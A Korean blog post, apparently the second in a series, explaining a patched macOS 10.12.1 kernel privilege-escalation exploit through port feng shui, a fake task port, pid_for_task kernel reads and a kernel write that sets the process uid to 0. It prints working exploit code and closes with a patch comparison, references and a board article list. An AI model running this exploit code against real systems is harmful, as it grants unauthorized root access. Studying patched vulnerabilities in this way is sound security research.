      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOAudioFamily.kext.dSYM/Contents/Resources/DWARF/IOAudioFamily

[ 31] F39509A4-191C-35DA-B7D9-08F95E5AB8BC 0xffffff7f93a7b000 //System/Library/Extensions/AppleUpstreamUserClient.kext/Contents/MacOS/AppleUpstreamUserClient 

[ 32] 6FE984DD-A1FE-309E-83CF-B346989A6F17 0xffffff7f93d73000 //System/Library/Extensions/AppleIntelSlowAdaptiveClocking.kext/Contents/MacOS/AppleIntelSlowAdaptiveClocking 

[ 33] B36990F3-B873-31BB-8A1B-5615A3277382 0xffffff7f93251000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSerialFamily.kext/Contents/MacOS/IOSerialFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSerialFamily.kext.dSYM/Contents/Resources/DWARF/IOSerialFamily

 

 

 

우선 위 커맨드로 커널이 로딩된 베이스주소를 알아낼 수 있다. 구조체의 오프셋을 알고있다면 그 커널주소에서 오프셋만큼 더해 구조체를 볼 수 있다. 아래부터는 디버깅을 하는대신, dumpcode함수를 이용하여 한눈에 보기쉽도록 코드를 작성했다.

 

2.png

 

msg1와 msg2를 초기화한 상태와, Port 풍수를 이용하여 달라진 모습이다.

 

OOL port 풍수를 통해 ipc_object pointer를 fake ipc_object를 가리키게 만든다. 그리고나서 ipc_object의 io_bits를 IKOT_CLOCK으로 설정하는데, 위에 ipc_object 구조체를 보면 처음부분에 io_bits가 존재한다.

 

익스 코드에는 다음과 같이 되어있다.

 

 

 

fake_port->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; // for clock trap

...

fake_port->io_bits = IO_BITS_ACTIVE | IKOT_TASK; // for task trap

 

 

io_bits는 mach port type쓸때 적용해주는것인데, 우리는 먼저 커널을 릭해내야 하기 때문에 IKOT_CLOCK으로 비트를 주었다. IKOT_CLOCK을 사용한 이유는 clock_sleep_trap()를 통해 해당 주소에서 릭을 하기 위함이다. clock_sleep_trap을 이용하여 릭을하면, vtable의 주소를 얻어낼것이고, 오프셋은 동일하기때문에 get_kernel_addr()에서 커널 text주소를 구해낸다.

 

clock.png

 

또, IKOT_TASK를 설정한 이유는 fake task를 작성해서 사용할것이기때문에 포트타입을 task로 설정해주는 것이다. 전체적으로 보면 fake task는 값을 조작해서 pid_for_task를 이용해 커널메모리를 읽기위해 쓰인다. 다음을 보면 pid_for_task를 이용하여 현재 프로세스주소를 릭하는것을 획안 할 수 있다.

 

 

 

중요한것은 pid_for_task가 task의 유효성을 검사하지않고 리턴을 (faketask + 0x380) + 0x10)값으로 주기때문에 릭이 가능한것이다.

 

 

 

dumpdata* get_kernel_priv(uint64_t kernel_process, uint64_t* fake_port, void* fake_task, mach_port_t* manipulated_port){

    dumpdata* data = (dumpdata *)malloc(sizeof(dumpdata));

    data->dump_port = malloc(0x1000);

    data->dump_task = malloc(0x1000);

 

    uint64_t kern_task = 0;

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x18) - 0x10 ;

    pid_for_task(manipulated_port, (int32_t*)&kern_task);

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x1C) - 0x10;

    pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&kern_task)) + 4));

  

    uint64_t itk_kern_sself = 0;

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK) - 0x10;

    pid_for_task(manipulated_port, (int32_t*)&itk_kern_sself);

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK + 4) - 0x10;

    pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));

    data->dump_itk_kern_sself = itk_kern_sself;

  

    for (int i = 0; i < 256; i++) {

        *(uint64_t*) (fake_task + TASK_INFO_GAP) = (itk_kern_sself + i*4) - 0x10;

        pid_for_task(manipulated_port, (int32_t*)(data->dump_port + (i*4)));

    }

    for (int i = 0; i < 256; i++) {

        *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + i*4) - 0x10;

        pid_for_task(manipulated_port, (int32_t*)(data->dump_task + (i*4)));

    }

    return data;

}

 

 

fake port와 fake task의 모든 작업이 끝나고나서, 우리는 mach_vm_read,write를 통해 커널메모리에 원하는대로 읽기 및 쓰기가 가능하여 ucred 구조체의 uid를 root로 조작해 관리자권한을 획득할 수 있다.

마지막으로 다음과 같은 코드로 uid를 0으로 수정해주는 작업을 한다.

 

mach_vm_read_overwrite(kernel_port, (current_process + UCRED_GAP_IN_PROCESS), (size_t)8, (mach_vm_offset_t)(&cred), &read_bytes); // AAR in Kernel

vm_offset_t root_uid = 0;

mach_msg_type_number_t write_bytes = 8;

mach_vm_write(kernel_port, (cred + CR_RUID_GAP_IN_UCRED), &root_uid,(mach_msg_type_number_t)write_bytes); // AAW in Kernel

 

위에서 언급했듯이, cred는 현재프로세스에서 0xe8만큼 떨어진곳에 존재하기때문에 주소를 알아내고, cred+0x18위치에 8바이트만큼 0으로 덮으면 위에 봤던 스크린샷과 같이 관리자권한의 쉘을 획득 할 수있다.

Patch

 

해당 버그는 10.12.3 이후부터 패치가 되었다. 어떻게 패치가 되었는지 10.12.4의 XNU 소스코드와 10.12.1의 소스코드를 비교해 볼 것이다.

 

1.png

 

 

좌측이 패치전, 우측이 패치후 모습이다. 보면 알겠지만 우리가 recipe 데이터를 조작 할 수 있었고, recipe_size또한 원하는대로 데이터를 넣을 수 있어서 오버플로우가 발생했다. 하지만 copyin을 했을때 recipe 구조체 멤버인 recipe_size만큼 복사하지 않아 원하는만큼의 데이터를 복사 할 수 없어 오버플로우가 발생하지 않는다.

참고

 

https://bugs.chromium.org/p/project-zero/issues/detail?id=1004

https://github.com/kpwn/yalu102

https://jaq.alibaba.com/community/art/show?articleid=781

 

TAG •

List of Articles
No. Subject Author Date Views
49 소프트웨어 테스팅 전문가들을 위한 사이트 digipine 2017.11.02 38
48 MacOS 10.12.2 (OSX) KERNEL DEBUGGING file digipine 2017.11.02 57
47 MacOS 10.12.2 (OSX) 보안 취약점 공격 기초 digipine 2017.11.02 45
» MacOS 10.12.2 (OSX) 보안 취약점 공격 코드 2 file digipine 2017.11.02 72
45 MacOS 10.12.2 (OSX) 보안 취약점 공격 코드 digipine 2017.11.02 56
44 [Qt] QSettings 클래스의 설명과 사용법, 설정 저장위치 digipine 2017.11.02 62
43 [Linux] ubuntu 16.04에 QT Creator 설치하기 digipine 2017.11.02 528
42 Phabricator 설치 가이드 우분투 16.04 기준 digipine 2017.11.02 422
41 Wi-Fi Display Standard Miracast Protocol Log digipine 2017.11.02 23
40 Git Http Backend Upload Size 설정 - Http 500 Error 해결 digipine 2017.11.02 28
39 [Linux, OSX] pfctl - Packet FIlter Control 사용법 digipine 2017.11.02 57
38 IPv6 프로그래밍 가이드 digipine 2017.11.02 4
37 TCP/IP State Transition - TCP 스택 포팅 시 참조 file digipine 2017.11.02 49
36 Git Commnd 사용법 정리 digipine 2017.11.02 5
35 Git Commit 취소 관련 명령어 정리 1 digipine 2017.11.02 81
34 리눅스 커널의 Swap Memory에 대해서 digipine 2017.11.02 14
33 Linux Kernel 컴파일 및 Patch 방법 digipine 2017.11.02 8
32 XOR Encryption : 단순하면서도 강력한 암호/복호화 기법 digipine 2017.11.02 24
31 Phabricator 설치 가이드 우분투 12.04 기준 digipine 2017.11.02 32
30 Ubuntu Git - Latest Version Install digipine 2017.11.02 57
Board Pagination Prev 1 2 3 4 Next
/ 4